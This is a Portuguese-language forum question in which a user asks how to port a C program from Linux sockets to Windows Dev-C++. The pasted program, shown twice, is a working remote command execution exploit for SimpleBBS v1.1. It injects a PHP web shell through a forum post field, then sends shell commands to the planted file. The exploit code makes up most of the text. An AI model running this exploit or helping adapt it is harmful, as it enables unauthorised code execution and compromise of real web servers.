Eu tenho um fonte que pode ser compilado no linux usando o GCC, a compilação no linux funciona corretamente.
Mas eu estou tentando compilar ele no Windos usando o compilador DEV-c++ 4.9.9.2, mas sei que tem ulgumas libs que não nativar da programação em linux.
<sys/types.h>, <sys/socket.h>, <netinet/in.h>, <netdb.h>. sei ainda que devo substiruir estas libs.
Mas por quais devo trocar?
Sei ainda que tem alguns comandos em que a sintex e diferente.
alguém pode me ajudar a converter este fonte para compilar do windows?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define closesocket(s) close(s)
#define HTTP_PORT 80
#define DATA "name=Willy\\\"><!--<?php error_reporting(0);print `\\$_GET[cmd]`; die;?>&subject=Winning&message=i would like to know how each team finds the perfect aerodinamic confuguration for each circuit, i mean, how they come to the conclusion of how the wings configurated.&sendTopic=Send"
/****************** MAIN *********************/
void sendpacket(char buffer[8192], int p, char host[100]);
Pergunta
yoga
Eu estou começando a trabalhar com o C++.
Eu tenho um fonte que pode ser compilado no linux usando o GCC, a compilação no linux funciona corretamente.
Mas eu estou tentando compilar ele no Windos usando o compilador DEV-c++ 4.9.9.2, mas sei que tem ulgumas libs que não nativar da programação em linux.
<sys/types.h>, <sys/socket.h>, <netinet/in.h>, <netdb.h>. sei ainda que devo substiruir estas libs.
Mas por quais devo trocar?
Sei ainda que tem alguns comandos em que a sintex e diferente.
alguém pode me ajudar a converter este fonte para compilar do windows?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define closesocket(s) close(s)
#define HTTP_PORT 80
#define DATA "name=Willy\\\"><!--<?php error_reporting(0);print `\\$_GET[cmd]`; die;?>&subject=Winning&message=i would like to know how each team finds the perfect aerodinamic confuguration for each circuit, i mean, how they come to the conclusion of how the wings configurated.&sendTopic=Send"
/****************** MAIN *********************/
void sendpacket(char buffer[8192], int p, char host[100]);
int main( int argc, char **argv)
{
char buffer[8192];
char dat[8192];
int count;
if(argc<4)
{
printf("Usage %s [host] [/folder/] [cmd]\n\nSimpleBBS <= v1.1 remote commands execution in c\ncoded by: unitedasia v.Dec.7.2005\ngreetz: iloveyouma\n",argv[0]);
exit(1);
}
sprintf(dat, DATA);
sprintf( buffer, "POST %sindex.php?v=newtopic&c=0 HTTP/1.0\nHost: %s\nContent-Type: application/x-www-form-urlencoded\nContent-Length: %d\n\n%s\n\n\n", argv[2], argv[1], strlen(dat), dat);
sendpacket(buffer,0,argv[1]);
sprintf( buffer, "GET %sdata/topics.php?cmd=%s HTTP/1.0\nHost: %s\n\n", argv[2], argv[3], argv[1]);
sendpacket(buffer,1,argv[1]);
return count;
}
void sendpacket(char buffer[8192], int p, char host[100])
{
struct sockaddr_in server;
struct hostent *host_info;
unsigned long addr;
int sock;
char dat[8192];
int count;
/* create socket */
sock = socket( PF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror( "failed to create socket");
exit(1);
}
/* Create socketadress of Server
* it is type, IP-adress and portnumber */
memset( &server, 0, sizeof (server));
/* convert the Servername to a IP-Adress */
host_info = gethostbyname( host);
if (NULL == host_info) {
fprintf( stderr, "unknown server: %s\n", host);
exit(1);
}
memcpy( (char *)&server.sin_addr, host_info->h_addr, host_info->h_length);
server.sin_family = AF_INET;
server.sin_port = htons( HTTP_PORT);
/* connect to the server */
if ( connect( sock, (struct sockaddr*)&server, sizeof( server)) < 0) {
perror( "can't connect to server");
exit(1);
}
send( sock, buffer, strlen( buffer), 0);
/* get the answer from server and put it out to stdout */
if (p==1) {
do {
count = recv( sock, buffer, sizeof(buffer), 0);
write( 1, buffer, count);
}
while (count > 0);
}
/* close the connection to the server */
closesocket( sock);
}
Link para o comentário
Compartilhar em outros sites
1 resposta a esta questão
Posts Recomendados
Participe da discussão
Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.